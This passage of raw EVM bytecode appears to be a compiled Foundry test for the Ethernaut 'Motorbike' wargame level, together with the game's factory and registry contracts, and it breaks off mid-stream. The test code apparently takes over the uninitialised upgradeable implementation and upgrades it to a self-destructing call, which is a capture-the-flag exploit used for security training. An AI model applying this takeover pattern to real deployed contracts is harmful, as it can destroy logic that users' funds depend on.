b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000327578063f82de7b01462000331578063fa7626d41462000348575f80fd5b8063b5d11e9914620002e6578063b90a68fa14620002f0578063ba414fa6146200031d575f80fd5b80639b59adbc11620000c75780639b59adbc14620002ad578063ae8421e114620002d5578063b5508aa914620002dc575f80fd5b806385db81cc146200028c578063916a17c614620002a3575f80fd5b80633e5e3c23116200014b578063792e11f51162000123578063792e11f51462000252578063832e5fc2146200026957806385226c811462000273575f80fd5b80633e5e3c2314620002255780633f7286f4146200022f57806366d9a9a01462000239575f80fd5b80631ed7831c116200017f5780631ed7831c14620001dc5780632356661a14620001f55780632ade3880146200020c575f80fd5b80630a9254e4146200019c5780631c7db66914620001a8575b5f80fd5b620001a662000356565b005b620001bf620001b936600462001c13565b620009d0565b6040516001600160a01b0390911681526020015b60405180910390f35b620001e662000b9a565b604051620001d3919062001c56565b620001bf6200020636600462001d42565b62000bfc565b6200021662000dc7565b604051620001d3919062001e15565b620001e662000f0f565b620001e662000f6f565b6200024362000fcf565b604051620001d3919062001ed8565b620001e66200026336600462001fa5565b620010b4565b620001a662001244565b6200027d620012dd565b604051620001d3919062001fbd565b620001bf6200029d36600462002023565b620013b2565b62000243620014d1565b620002c4620002be36600462002041565b620015b6565b6040519015158152602001620001d3565b620001a65fff5b6200027d62001746565b620001a66200181b565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001bf565b620002c46200190a565b620001e6620019c5565b620001a66200034236600462001fa5565b62001a25565b601e54620002c49060ff1681565b5f620003636002620010b4565b9050805f815181106200037a576200037a6200207d565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200042f575f80fd5b505af115801562000442573d5f803e3d5ffd5b50505050806001815181106200045c576200045c6200207d565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b15801562000511575f80fd5b505af115801562000524573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200057f575f80fd5b505af115801562000592573d5f803e3d5ffd5b5050602254620005ae92506001600160a01b03169050620013b2565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006146040518060400160405280601081526020017f4d6f746f7262696b65466163746f72790000000000000000000000000000000081525062000bfc565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000674575f80fd5b505af115801562000687573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006e6575f80fd5b505af1158015620006f9573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000754575f80fd5b505af115801562000767573d5f803e3d5ffd5b50506020546200078592506001600160a01b03169050825f620009d0565b6021805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604051630667f9d760e41b815260048101919091527f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60248201525f90737109709ecfa91a80626ff3989d68f67f5b1dd12d9063667f9d7090604401602060405180830381865afa15801562000829573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200084f919062002091565b5f1c9050806001600160a01b0316638129fc1c6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200088c575f80fd5b505af11580156200089f573d5f803e3d5ffd5b50506040805160048082526024820183526020820180516001600160e01b03167fae8421e10000000000000000000000000000000000000000000000000000000017905291517f4f1ef2860000000000000000000000000000000000000000000000000000000081526001600160a01b0386169450634f1ef28693506200092a9230929101620020a9565b5f604051808303815f87803b15801562000942575f80fd5b505af115801562000955573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620009b4575f80fd5b505af1158015620009c7573d5f803e3d5ffd5b50505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000a2c575f80fd5b505af115801562000a3f573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b15801562000a9f575f80fd5b505af115801562000ab2573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000b17573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b40919081019062002161565b9050806001825162000b539190620022f1565b8151811062000b665762000b666200207d565b60200260200101515f015160028151811062000b865762000b866200207d565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000bd3575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000c5c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000c85919081019062002307565b90505f81848560405160200162000c9e92919062002351565b60408051601f198184030181529082905262000cbe9291602001620023ff565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000d2290859060040162002431565b5f60405180830381865afa15801562000d3d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000d66919081019062002307565b90505f62000db36040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001ab490919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000f06575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000eee578382905f5260205f2001805462000e5c9062002445565b80601f016020809104026020016040519081016040528092919081815260200182805462000e8a9062002445565b801562000ed95780601f1062000eaf5761010080835404028352916020019162000ed9565b820191905f5260205f20905b81548152906001019060200180831162000ebb57829003601f168201915b50505050508152602001906001019062000e3c565b50505050815250508152602001906001019062000dea565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000bd3575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000bd3575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000f06575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200109b57602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b031916815260200190600401906020826003010492830192600103820291508084116200105c5790505b5050505050815250508152602001906001019062000ff2565b60605f8267ffffffffffffffff811115620010d357620010d362001ca4565b604051908082528060200260200182016040528015620010fd578160200160208202803683370190505b5090505f5b838110156200123d575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af11580156200114a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200117091906200247f565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b158015620011ee575f80fd5b505af115801562001201573d5f803e3d5ffd5b50505050808383815181106200121b576200121b6200207d565b6001600160a01b03909216602092830291909101909101525060010162001102565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200129b575f80fd5b505af1158015620012ae573d5f803e3d5ffd5b5050602054602154620012db9350620012d592506001600160a01b039182169116620015b6565b62001b56565b565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000f06578382905f5260205f20018054620013209062002445565b80601f01602080910402602001604051908101604052809291908181526020018280546200134e9062002445565b80156200139d5780601f1062001373576101008083540402835291602001916200139d565b820191905f5260205f20905b8154815290600101906020018083116200137f57829003601f168201915b50505050508152602001906001019062001300565b5f80604051620013c29062001bd4565b604051809103905ff080158015620013dc573d5f803e3d5ffd5b5090505f604051620013ee9062001be2565b604051809103905ff08015801562001408573d5f803e3d5ffd5b508483604051620014199062001bf0565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001453573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620014b2575f80fd5b505af1158015620014c5573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000f06575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200159d57602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b031916815260200190600401906020826003010492830192600103820291508084116200155e5790505b50505050508152505081526020019060010190620014f4565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001612575f80fd5b505af115801562001625573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001683575f80fd5b505af115801562001696573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620016fa573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001723919081019062002161565b90506001815111156200173b57600191505062001740565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000f06578382905f5260205f20018054620017899062002445565b80601f0160208091040260200160405190810160405280929190818152602001828054620017b79062002445565b8015620018065780601f10620017dc5761010080835404028352916020019162001806565b820191905f5260205f20905b815481529060010190602001808311620017e857829003601f168201915b50505050508152602001906001019062001769565b6040517ff28dceb300000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e742075736572000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906084015f604051808303815f87803b158015620018d2575f80fd5b505af1158015620018e5573d5f803e3d5ffd5b50506020546021546200190793506001600160a01b03918216925016620015b6565b50565b6008545f9060ff161562001922575060085460ff1690565b604051630667f9d760e41b8152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001998573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620019be919062002091565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000bf257602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000bd3575050505050905090565b5f62001a3282436200249d565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001a99575f80fd5b505af115801562001aac573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001b0b9086908690600401620024b3565b5f60405180830381865afa15801562001b26573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b4f9190810190620024e4565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015f6040518083038186803b15801562001bba575f80fd5b505afa15801562001bcd573d5f803e3d5ffd5b5050505050565b610ae5806200251b83390190565b611e7a806200300083390190565b610daa8062004e7a83390190565b6001600160a01b038116811462001907575f80fd5b5f805f6060848603121562001c26575f80fd5b833562001c338162001bfe565b9250602084013562001c458162001bfe565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c985783516001600160a01b03168352928401929184019160010162001c71565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001cde5762001cde62001ca4565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001d105762001d1062001ca4565b604052919050565b5f67ffffffffffffffff82111562001d345762001d3462001ca4565b50601f01601f191660200190565b5f6020828403121562001d53575f80fd5b813567ffffffffffffffff81111562001d6a575f80fd5b8201601f8101841362001d7b575f80fd5b803562001d9262001d8c8262001d18565b62001ce4565b81815285602083850101111562001da7575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001de057818101518382015260200162001dc6565b50505f910152565b5f815180845262001e0181602086016020860162001dc4565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ec957603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001eb257605f1988850301835262001e9f84865162001de8565b948d01949350918c019160010162001e80565b505050968901969350509087019060010162001e3a565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f9757888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f815783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f3d565b5096890196945050509086019060010162001eff565b509098975050505050505050565b5f6020828403121562001fb6575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200201657603f198886030184526200200385835162001de8565b9450928501929085019060010162001fe4565b5092979650505050505050565b5f6020828403121562002034575f80fd5b813562001b4f8162001bfe565b5f806040838503121562002053575f80fd5b8235620020608162001bfe565b91506020830135620020728162001bfe565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215620020a2575f80fd5b5051919050565b6001600160a01b0383168152604060208201525f620020cc604083018462001de8565b949350505050565b5f67ffffffffffffffff821115620020f057620020f062001ca4565b5060051b60200190565b5f6200210a62001d8c8462001d18565b90508281528383830111156200211e575f80fd5b62001b4f83602083018462001dc4565b5f82601f8301126200213e575f80fd5b62001b4f83835160208501620020fa565b80516200215c8162001bfe565b919050565b5f602080838503121562002173575f80fd5b825167ffffffffffffffff808211156200218b575f80fd5b818501915085601f8301126200219f575f80fd5b8151620021b062001d8c82620020d4565b81815260059190911b83018401908481019088831115620021cf575f80fd5b8585015b83811015620022d057805185811115620021eb575f80fd5b86016060818c03601f1901121562002201575f80fd5b6200220b62001cb8565b88820151878111156200221c575f80fd5b8201603f81018d136200222d575f80fd5b898101516200224062001d8c82620020d4565b81815260059190911b8201604001908b8101908f83111562002260575f80fd5b6040840193505b82841015620022825783518252928c0192908c019062002267565b845250505060408201518781111562002299575f80fd5b620022a98d8b838601016200212e565b8a83015250620022bc606083016200214f565b6040820152845250918601918601620021d3565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017405762001740620022dd565b5f6020828403121562002318575f80fd5b815167ffffffffffffffff8111156200232f575f80fd5b8201601f8101841362002340575f80fd5b620020cc84825160208401620020fa565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200238a81600585016020880162001dc4565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620023c981600a84016020880162001dc4565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200241281846020880162001dc4565b8351908301906200242881836020880162001dc4565b01949350505050565b602081525f62001b4f602083018462001de8565b600181811c908216806200245a57607f821691505b6020821081036200247957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002490575f80fd5b815162001b4f8162001bfe565b80820180821115620017405762001740620022dd565b604081525f620024c7604083018562001de8565b8281036020840152620024db818562001de8565b95945050505050565b5f60208284031215620024f5575f80fd5b815167ffffffffffffffff8111156200250c575f80fd5b620020cc848285016200212e56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b